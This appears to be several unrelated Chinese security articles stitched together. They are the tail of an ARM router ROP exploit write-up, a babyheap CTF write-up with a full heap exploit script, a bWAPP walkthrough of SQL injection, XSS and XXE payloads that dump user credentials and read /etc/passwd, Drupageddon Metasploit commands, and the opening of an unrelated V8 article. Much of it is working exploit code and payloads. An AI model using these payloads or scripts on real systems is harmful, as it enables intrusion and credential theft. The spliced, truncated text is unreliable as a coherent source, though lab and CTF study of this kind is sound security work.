查找溢出的位置，使用pattern生成512个字符串
gef➤ patter create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf
[+] Saved as '$_gef0'
通过curl发送POST请求查找溢出的位置
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x616d6560 in ?? ()
通过pattern确定溢出的大小
gef➤ pattern search 0x616d6561
[+] Searching '0x616d6561'
[+] Found at offset 446 (little-endian search) likely
我们可以确定要进行填充的字符串是有446个字节
这里使用Ret2Libc进行利用。 **ret2libc** 这种攻击方式主要是针对 **动态链接(Dynamic linking)**
编译的程序，因为正常情况下是无法在程序中找到像 **system() 、execve()**
这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们，而不用通过这种麻烦的方式)。因为程序是动态链接生成的，所以在程序运行时会调用
**libc.so (程序被装载时，动态链接器会将程序所有所需的动态链接库加载至进程空间，libc.so 就是其中最基本的一个)** ，
**libc.so** 是 linux 下 C 语言库中的运行库 **glibc** 的动态链接版，并且 **libc**. **so**
中包含了大量的可以利用的函数，包括 **system() 、execve()**
等系统级函数，我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下，我们会选择执行
**system(“/bin/sh”)** 来打开 shell。这里我们使用vmmap查看调用的lib文件有哪些
注：由于是在模拟器中查找的lib文件的起始地址，所以和在真机中的地址可能不太一样
这里我们选择具有执行权限的libc.so.0文件，使用radare2对libc.so.0文件进行搜索system函数
这里的system函数的地址是偏移地址，偏移地址加上vmmap得到的起始地址就是，我们通过下断点得到system函数的地址，然后通过计算可以发现地址完全正确
这时我们已经知道了一些关键的地址，那么这个时候我们就需要构造一个 ROP链，来实现地址的跳转
这里使用了一款工具Ropper，因为我们存储的位置位于堆栈，所以查找跟堆栈有关的指针SP
这里我选择了0x00041308的指令，因为这里有一个关于指令跳转的指令BLX，如果r2存的值是system的地址，那么我们就能跳到system处，执行系统命令了，并且由于我们的值都存在栈中，所以我们就需要查找和pop,r2有关的指令
在ARM指令集下我们发现两个对r2的操作，但是后面还跟着别的指令，如果我们使用了某一个，那么我们还得继续寻找能够完整构造payload的指令。由于ARM除了有ARM指令外，还有一个Thumb指令集，这个指令是ARM指令集的一个子集，但是在某些方面比ARM指令集要更有效，我们切换指令集去这里看看符合我们要求的指令
这里我们找到了没有其他指令参与并且堆栈操作十分符合我们要求的指令，下面就是我们构造的堆栈的排列方式
首先排布的是target1，这条指令就是对栈就行弹出的操作，首先将system的地址弹出到r2，然后后面无用的地址弹出到r6，最后将target2的地址弹出到r15中，并且r15中存储的还是正在取指的地址。紧接着执行r15所指向的地址，首先将sp的地址存储到r0中，然后执行blx跳转指令并且切换指令集，并且跳转到r2的地址，也就是system的地址，那么这时候就成功执行system函数，到此整个ROP链也就执行完毕
#### 0x05.漏洞利用
这里我们利用的是exploit-db上的exp
设置rhosts,lhosts和target，然后直接exploit，就能直接获得shell权限，这里我在vps上执行的
成功执行ifconfig命令
#### 0x06.EXP脚本分析
这里存储就是偏移地址，libc_base的地址，system的偏移地址，gadget1的偏移地址，gadget2的偏移地址，这些地址就是真机中真正的偏移地址
这里就是根据不同的target生成不同的payload
这里就是我们对Msf生成的payload进行输出，可以看到被攻击的设备下载了可以在ARM平台进行回来的文件，并给与权限并执行，最终创建一个shell
#### 0x07.参考
1.<https://github.com/hugsy/gdb-static/>
2.<http://ftp.gnu.org/gnu/gdb/>
3.<https://github.com/sashs/Ropper>
* * * | 社区文章 |
## 前言
我看社区已经有人在发Writeup了，但是也不是特别全。其中 Pwn 部分少了个babyheap的题解。我在这里稍微补充下。
###
### 0x01 分析
题目四个功能，分别是new，change，show和delete。漏洞很明显在于delete函数。
在这个函数中，存在指针未置零的情况，可以造成UAF 。
其次有几个注意的点 块只能新建9块，以及新建块的大小为 0x20 ，不可控。
编辑一个块最多只能三次。
###
### 0x02 利用思路
root@8593c2d5ac83:/home/wd/babyheap/babyheap# checksec babyheap
[*] '/home/wd/babyheap/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
由于块的大小是 0x20 ，可以想到是经典的fastbins attack + uaf。
#### 第一步：思考 如何泄露出 libc 地址
由于我们需要最终需要知道 libc base 来构造最后的getshell payload。那么第一个思路是通过fake 一个chunk，让它分配到
unsortedbin 中，我们知道当一个chunk 在 unsortedbin中的时候，它的fd会指向 main_arena
由于 UAF 漏洞的存在，我们这个时候去 show 这个chunk 的时候程序会将他 fd的内容打印出来。这个时候就能泄露出 libc地址。
但是要fake 一个chunk我们需要heap的地址。所以我们首先去 泄露 heap 地址。
#### 第二步 泄露 heap 地址。
由于fastbins 的特性，我们连续 free 两个chunk，这个时候会产生一个 fastbins 的freelist。
这个时候 0x603000 的chunk 的fd 指向 0x603030 ，我们只需要 show 一下
0x603000这个chunk，就能得到heap地址：0x603030。 **注意，puts 存在截断，如果你是 0x603030 -- >
0x603000** 会存在 leak 不出来的问题。所以注意 free 的顺序。
Delete(1)
Delete(0)
#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))
#### 第三步 泄露libc 地址
要 fake 个chunk 然后让它 free 之后被放到 unsortedbin ，我们可以考虑 fastbins attack + overlap 。
我们通过编辑 chunk 0 的 fd 让他指向 原本 fd-0x20的位置。当我们把 chunk 0 和 chunk 1
重新申请回来后。（fastbins的特性：后释放的，先被使用）
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')
并修改 size 和fd等等。由于，chunk 6的fd被修改了，所以我们去修改 chunk 7的时候，其实就是在修改我们正常chunk的size。
0x603020: 0x0000000000000000 0x0000000000000031 <-- fake chunk
0x603030: 0x0000000000000000 0x00000000000000a1 <--- fake chunk size
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000031
0x603070: 0x4343434343434343 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000031
0x6030a0: 0x4444444444444444 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
伪造后的 chunk 由于我们设置了 size 变大了，所以默认会把后面的 chunk 给吞并。我们 在设置基本块的时候要注意这个问题。
这个时候系统会认为 0x603020 这个伪造的 chunk 是存在的。所以当我们去 delete chunk 1。（由于chunk
1是后释放，所以申请到的chunk 7 指向的其实是同一个块）。系统会把 0x603020 放到unsortedbin中。（unsortedbin
不是fastbins 且不与 top chunk 紧邻，free后会被放置到unsortedbin中）
紧接着，我们只需要把这个 chunk free
了。
然后show，就能获得 libc base。
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')
# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))
#### 第四步 通过unlink + uaf 来获得一个任意地址写
我们现在已经有了基本的信息。思路是修改 freehook 成one_gadget 。然后进行一次free就能getshell。
要达到这种效果，我们需要一个任意地址写。
我们之前 free chunk 1 来获得一个libc 地址，这个时候如果顺便同过 unlink 来获得一个 任意地址写不上刚好么。所以
Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')
Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')
chunk 2 chunk 3 是用来修改 chunk1 size 让 chunk 1 来吞并的。当 free chunk 1的时候，我们构造好
unlink 的前提（现代 unlink 有检查。）fake 的 fd == 0x602080-0x18 刚好是 ptr[] 数组中，chunk 1
的位置。也是之后 new chunk 4 的位置。
当通过unlink 后我们得到一个 chunk 指向了 chunk1 同时 chunk 4 也指向了 chunk1。 这个时候如果我们队chunk
1这块内存 写入 free_hook 的地址，然后再通过uaf 修改这个地址所指的值，写成一个 one_gadget 就能getshell。
Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')
Delete(1)
效果如下：
### 0x03 完整 exp
#coding:utf-8
from mypwn import *
p,elf,libc = init_pwn('./babyheap','./libc.so.6',remote_detail = ('106.75.67.115',9999),is_env = False)
breakpoint = [0x400D59,0x400D65,0x0400D7D,0x400D71]
malloc_hook = 0x3C4B10
one_gadget = 0x4526A
def Add(index, data):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)
def Edit(index, data):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)
def Show(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
def Delete(index):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
Add(0,'AAAAAAAA\n')
Add(1,'BBBBBBBB\n')
Add(2,'CCCCCCCC\n')
Add(3,'DDDDDDDD\n')
Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')
Delete(1)
Delete(0)
#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))
# # leak libc
# init_debug(p,breakpoint)
# raw_input('wait to debug')
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')
# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))
init_debug(p,breakpoint)
raw_input('wait to debug')
Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')
Delete(1)
p.interactive() | 社区文章 |
# 3.bWAPP SQL注入篇
## **SQL Injection (GET/Search)**
题目标明为GET搜索型SQL注入，所以提交的SQL语句一般为关键字左右两边有“%”作为通配符的条件。
### **low：**
搜索框内不输入任何数据，点击搜索
URL：[http://range.anhunsec.cn:82/sqli_1.php?title=&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=&action=search)
结果如下：
由此猜想，上面的内容可能是全部内容。
在搜索框里面输入：g，
URL：[http://range.anhunsec.cn:82/sqli_1.php?title=g&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g&action=search)
结果如下：
以上内容是包含“g/G”的内容条目。
在搜索框里面输入：g' ，
URL：[http://range.anhunsec.cn:82/sqli_1.php?title=g'&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g'&action=search)
结果如下：
上图中爆出了数据库错误，由此猜想很大可能存在SQL注入漏洞（假装不知道这里有SQL注入漏洞 ❀鸡）。
我们构造如下语句进行进一步探测：
g%' or 1=1 #
g%' or 1=2 #
上面两语句中的 % 用来保证 or 前面的内容与构建之前的语句内容吻合，# 用来注释掉后面被多出来的 ' 和 % 。例如：原SQL语句为：
SELECT * FROM movies WHERE title LIKE '%g%'
进行构造后的SQL语句为：
SELECT * FROM movies WHERE title LIKE '%g%' or 1=1/2 #%'
关键字为：g%' or 1=1 #
URL：[http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d1+%23&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d1+%23&action=search)
的结果：
结果同关键字为空的结果一样为全部内容，应为语句 g%' or 1=1 # 的构成是的 where 后语句永远为真，故和选取所有的效果相同，即为全部内容。
关键字为：g%' or 1=2 #
URL：[http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d2+%23&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g%25%27+or+1%3d2+%23&action=search)
的结果：
由于 or 后面语句为假，故只有前面的语句起作用，所以结果与关键字为 “g” 的结果相同。
由以上判断可确定此处有SQL注入漏洞，此处为字符型注入。
判断字段数，g和'直间必须有%
[http://range.anhunsec.cn:82/sqli_1.php?title=g%%27order%20by%208%23&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g%%27order%20by%208%23&action=search)
结果有7个字段
查找回显点
<http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union> select
1,2,3,4,5,6,7%23&action=search
可以在2，3，4，5处得到我们想要的信息
查找数据库名
<http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union> select
1,database(),3,4,5,6,7%23&action=search
为bWAPP
查找数据库名为bWAPP中的表
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'%23&action=search
为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'%23&action=search
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login,password的值
http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union select 1,group_concat(login),group_concat(password),4,5,6,7 from users%23&action=search
为
A.I.M.,bee |
6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0
---|---
6885858486f31043e5839c735d99457f045affd0解密为bug
解密为bug
给sqlmap去跑........
sqlmap -r t.txt --dbs --dbms mysql -D bwapp -T users -C
admin,id,login,password --dump
最终结果：
### **medium：**
low级别的payload已无法读取到内容
[http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union%20select%201,group_concat(login),group_concat(password),4,5,6,7%20from%20users%23&action=search](http://range.anhunsec.cn:82/sqli_1.php?title=g%%27union%20select%201,group_concat\(login\),group_concat\(password\),4,5,6,7%20from%20users%23&action=search)
结果如下
查看源代码
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
为bWAPP
查找数据库名为bWAPP中的表
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),0x7e),1)or'
为blog,heroes,movies,users,visito发现不能全部显示
在这一步可以使用left，mid，right来进行分段显示，将得到的信息进行拼接，下面的22是从右往左显示22个字符，
' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),22),0x7e),1)or'
所有表名为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema='bWAPP' and
table_name='users'),0x7e),1)or'
为id,login,password,email,secret,发现不能全部显示
可以用limit函数逐个读取数据库中的表名
' or updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_schema='bWAPP' and table_name='users'
limit 0,1),0x7e),1)or'
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login的值
' or updatexml(1,concat(0x7e,(select group_concat(login) from
users),0x7e),1)or'
为A.I.M.,bee
查找数据库名为bWAPP中的表users中的字段password的值
' or updatexml(1,concat(0x7e,(select group_concat(password) from
users),0x7e),1)or'
为6885858486f31043e5839c735d99457f045affd0解密为bug
同时查找数据库名为bWAPP中的表users中的字段login，password的值
' or updatexml(1,concat(0x7e,(select group_concat(login,password) from users
limit 0,1),0x7e),1)or'
为A.I.M.6885858486f31043e5839c735
### **high：**
漏洞将没有
## **SQL Injection (GET/Select)**
### **low：**
访问url：
[http://range.anhunsec.cn:82/sqli_2.php?movie=1&action=go](http://range.anhunsec.cn:82/sqli_2.php?movie=1&action=go)
结果如下
构造payload
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> and 1=1&action=go
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> and 1=2&action=go
发现and 1=1有回显and 1=2无回显，此处为数字型注入
判断字段数
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> order by 7&action=go
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> order by 8&action=go
order by 7有回显，order by 8无回显，字段数为7
查找回显点
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> and 1=2 union select
1,2,3,4,5,6,7&action=go
可以在2，3，4，5处得到我们想要的信息
查找数据库名
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> and 1=2 union select
1,database(),3,4,5,6,7&action=go
为bWAPP
查找数据库名为bWAPP中的表
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'&action=go
为blog,heroes,movies,users,visitors
查找数据库名为bWAPP中的表users中的字段
http://range.anhunsec.cn:82/sqli_2.php?movie=1 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users'&action=go
为id,login,password,email,secret,activation_code,activated,reset_code,admin
查找数据库名为bWAPP中的表users中的字段login,password的值
<http://range.anhunsec.cn:82/sqli_2.php?movie=1> and 1=2 union select
1,group_concat(login),group_concat(password),4,5,6,7 from users&action=go
<http://range.anhunsec.cn:82/sqli_2.php?movie=1%20and%201=2%20union%20select%201,(select>
group_concat('~',login,'~',password) from users),3,4,5,6,7&action=go
为
A.I.M.,bee |
6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0
---|---
6885858486f31043e5839c735d99457f045affd0解密为bug
medium和high被过滤了
## **SQL Injection (POST/Search)**
同SQL Injection (GET/Search)
## **SQL Injection (POST/Select)**
同SQL Injection (GET/Select)
## **SQL Injection (AJAX/JSON/jQuery)**
ajax他是一个异步通讯，能够在网页不刷新的情况下，刷新网页内部的东西，通过在后台与服务器进行少量数据交换，AJAX
可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下，对网页的某部分进行实时更新。
对应的js代码如下:
$("#title").keyup(function(){
// Searches for a movie title
var search = {title: $("#title").val()};
// AJAX call
//getJSON函数
//1、sqli_10-2.php即把数据提交到此文件，也就是说其实ajax查询数据是这个文件在处理
//2、search是存储的键值对，这里提交。
//3、第三个参数是查询成功后处理要调用的函数，这里是格式化了输出，我们忽略
$.getJSON("sqli_10-2.php", search, function(data){
init_table();
// 后面的代码是格式化处理查询结果的
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){
total++;
$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
});
// Empty result
if (total == 0)
{
$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
}
})
});
而它的返回值一般是json/xml格式的，jQuery中提供实现ajax的方法
从sqli_10-2获取了json
10-2这里可以存在注入
页面sqli_10-1应该是从sqli_10-2获取数据的:
可以间接的从sqli_10-2.php注入:
<http://range.anhunsec.cn:82/sqli_10-2.php?title=Iron%>' and 1=1 %23
也可以在sqli_10-1.php搜索框注入:
同SQL Injection (GET/Search)
构造payload
%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from
users#
或
%' union select 1,2,(select group_concat('~',login,'~',password) from
users),4,5,6,7 #
结果为
A.I.M.,bee |
6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0
---|---
6885858486f31043e5839c735d99457f045affd0解密为bug
### **Medium &High**
分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。
## **SQL Injection (Login Form/Hero)**
同SQL Injection (GET/Select)
源码中有输出报错信息
## **SQL Injection (Login Form/User)**
### **Low**
继续像上一关那样思路,
构造万能登录用户名, 密码随意:
login:bee' or 1=1 #
password: 1
发现无法注入
查看源码逻辑(黑白盒结合测试), 它先是判断用户名是否存在, 存在之后再判断密码是否正确:
既然sql语句只发生在查询用户名处, 所以注入也只能在用户名, (因为需要通过用户名验证, 再通过密码)
注入单引号:
login:bee'
password: 1
结果如下
无法判断字段数，因此无法使用order by 判断字段数
进入数据库实验:
可以看到, 联合查询3的位置对应password字段, 且password字段的值是经过md5加密过的
由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等
比如, 注入的联合查询为:
' union select 1,2,3,4,5,6,7,8,9 #
$recordset从数据库中搜索就有了返回值，即$row["login"]返回不为空，这里第一个条件就构成了。后面POST的“&password=3”，3的hash的值被我们添加到联合查询语句里了，即返回的查询有3的hash值
所以输入密码与联合查询输入的3字段相等即可
用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9
#
密码 : 3
其中, sha1(3) 加密后为 77de68daecd823babbb58edb1c8e14d7106e83bb
得知注入字段显示顺序为2和5
当前数据库和用户
用户名: ' union select
1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
密码 : 3
为 BWAPP, Root@localhost
爆表
用户名: ' union select
1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select
group_concat(table_name) from information_schema.tables where
table_schema=database()),6,7,8,9 #
密码 : 3
为Blog,heroes,movies,users,visitors
users表的所有字段
用户名: ' union select
1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select
group_concat(column_name) from information_schema.columns where
table_name="users" and table_schema=database()),6,7,8,9 #
密码 : 3
为Id,login,password,email,secret,activation_code,activated,reset_code,admin
爆值
用户名: ' union select
1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select
group_concat('~',login,'~',password) from users),6,7,8,9 #
密码 : 3
为~A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
### **Medium &High**
查看源码发现对用户名和密码进行了相应的防护:
分别用了addslashes()和mysql_real_escape_string()函数防御,
且在mysql编码为utf-8, 无法用宽字节绕过, 安全。
## **SQL Injection (SQLite)**
首先需要安装SQLite插件:
apt-get install sqlite3
apt-get install php5-sqlite
然后重启一下apache:
service apache2 restart
搜索Iron
SQLite 介绍
SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。
type列记录了项目的类型，如table、index、view、trigger
tbl_name字段记录所从属的表名，如索引所在的表名。对于表来说，该列就是表名本身；
name字段记录了项目的名称，如表名、索引名等；
rootpage记录项目在数据库页中存储的编号。对于视图和触发器，该列值为0或者NULL
sql存放着所有表的创建语句，即表的结构。
### **Low**
注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:
根据查询功能, 很明显为模糊匹配:
于是得出sql语句为:
select * from books where title='%$title%';
判断注入点
Iron%' and 1=1 --
注意在SQLite中, 注释符为: --
判断字段数
Iron%' order by 6 --
判断字段显示顺序
123%' union select 1,2,3,4,5,6 --
回显点为2,3,4,5
爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
为Blog,heroes,movies,users
users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
通过sql可以查看建表语句, 从而得到字段属性:
取值
123%' union select 1,2,login,password,5,6 from users --
为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
### **Medium &High**
在Medium和High等级中, 都过滤了单引号, 无法注入:
## **Drupal SQL Injection (Drupageddon)**
CVE-2014-3704:
由于expandArguments()函数没有正确构造准备好的语句，这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。
Drupal是一款开源内容管理系统（CMS），用户多达100万以上（包括政府、电子零售、企业组织、金融机构等），除非已经安装了针对Drupalgeddon
漏洞的安全补丁，否则，所有用户都会面临该漏洞的严重威胁。
bwapp平台复现了漏洞, 但仅仅在bee-box平台中体现:
搜索drupal漏洞:
search drupal
查看漏洞信息:
show info exploit/multi/http/drupal_drupageddon
使用CVE-2014-3704对应的攻击模块:
use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:
set targeturi /drupal/
所定攻击的ip和端口:
set RHOSTS 192.168.10.10
set rport 8080
发动攻击, 拿到shell:
exploit
## **SQL Injection - Stored (Blog)**
分析
\1. 在将blog内容以及时间作者等插入数据库的过程中, 肯定用到了insert语句, 对应的就可以采用 sql注入;
\2. 观察插入之后的内容, 被写入到网页中, 这里就类似于存储型XSS。
### **Low**
SQL注入
注入单引号, 得到回显:
猜测sql语句为:
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');
注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:
判断注入点:
test','hack')#
成功
联合查询注入数据库
test', (select database())) #
为bWAPP
查询数据表
test', (select group_concat(table_name) from information_schema.tables where
table_schema=database())) #
为blog,heroes,movies,users,visitors
查询login和password字段的值
test', (select group_concat(login,password) from users)) #
为A.I.M.~6885858486f31043e5839c735d99457f045affd0,~bee~6885858486f31043e5839c735d99457f045affd0
报错注入
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
结果为
XSS
注入:
`<script>alert(1)</script>`
结果为
### **Medium &High**
注入的单引号发现被转义了:
test', (select database())) #
结果
查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护:
但没有对xss进行相应的防护:
`<script>alert(2)</script>`
结果为
## **SQL Injection - Stored (User-Agent)**
当用户访问页面时, 后台会获取用户的ip, 访问时间以及http头信息的内容:并且将获取到的信息存储到数据库, 然后再显示到页面上。
### **Low**
原理同样, 猜测insert的sql语句为:
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');
注入点为 user-agent:
test', (select database())) #
结果如下
报错注入
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or'
结果为
### **Medium &High**
查看源码, 发现两个等级分别用了addslashes()和mysqli_real_escape_string()函数做防护, 安全:
## **SQL Injection - Stored (XML)**
点击按钮, 触发script事件:
重定向到sqli_8-2.php, 并发送xml文档:
### **Low**
有两种方法利用该漏洞;
* SQL注入
sql注入的原理基本不变, 只不过注入点不同而已,
直接访问sql_8-2.php, 将xml实体POST即可:
<reset><login>bee</login><secret>Any bugs?</secret></reset>
结果为
注入单引号, 判断注入点:
得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:
UPDATE users SET secret = '$secret' WHERE login = '$login';
于是用extractvalue()报错注入:
<reset><login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e))
or '1'='1</login><secret>Any bugs?</secret></reset>
结果为
* XXE注入
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [
<!ENTITY text SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&text;</login>
<secret>hack</secret>
</reset>
## **SQL Injection - Blind - Boolean-Based**
查询书目, 只会显示出存在or不存在:
Iron Man
### **Low**
由于是字符串, 判断为字符类型注入, 直接注入:
Iron Man' and '1'='1
结果为
比如, 判断数据库长度:
Iron Man' and length(database())=5 #
结果为5
判断库名第一个字母为b，True
Iron Man' and (substr(database(),1,1))='b' #
以此类推，数据库名为bWAPP
### **Medium &High**
同样采用了addslashed()和mysqli_real_escape_string()函数,
且mysql编码和os编码一致, 无法用宽字节绕过, 安全。
### **SQL Injection - Blind - Time-Based**
不管查询什么都是将结果通过email通知, 将查询结果"隐藏"了起来
对应渗透来说, 也就是无法得知注入的sql语句是否执行成功。
于是布尔盲注就不能发挥作用, 这时候就需要延时盲注出场了。
### **Low**
延时注入:
Iron Man' and sleep(if((1=2), 0, 3)) #
Iron Man' and sleep(3) -- q
页面延时3秒返回，说明此处存在延时注入漏洞
### **Medium &High**
同样采用了addslashed()和mysqli_real_escape_string()函数,
且mysql编码和os编码一致, 无法用宽字节绕过, 安全。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 《Chrome V8源码》24.编译5：SharedFunction与JSFunction的渊源
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
SharedFunction是一个包含BytecodeArray和stub_entry等信息的数据集合，该集合是V8编译器的输出结果，由SharedFunction类管理。
本文的组织方式：SharedFunction的内存布局和重要成员（章节2）；SharedFunction的初始化（章节3）；SharedFunction与JSFunction之间关系（章节4）。
## 2 SharedFunction内存布局
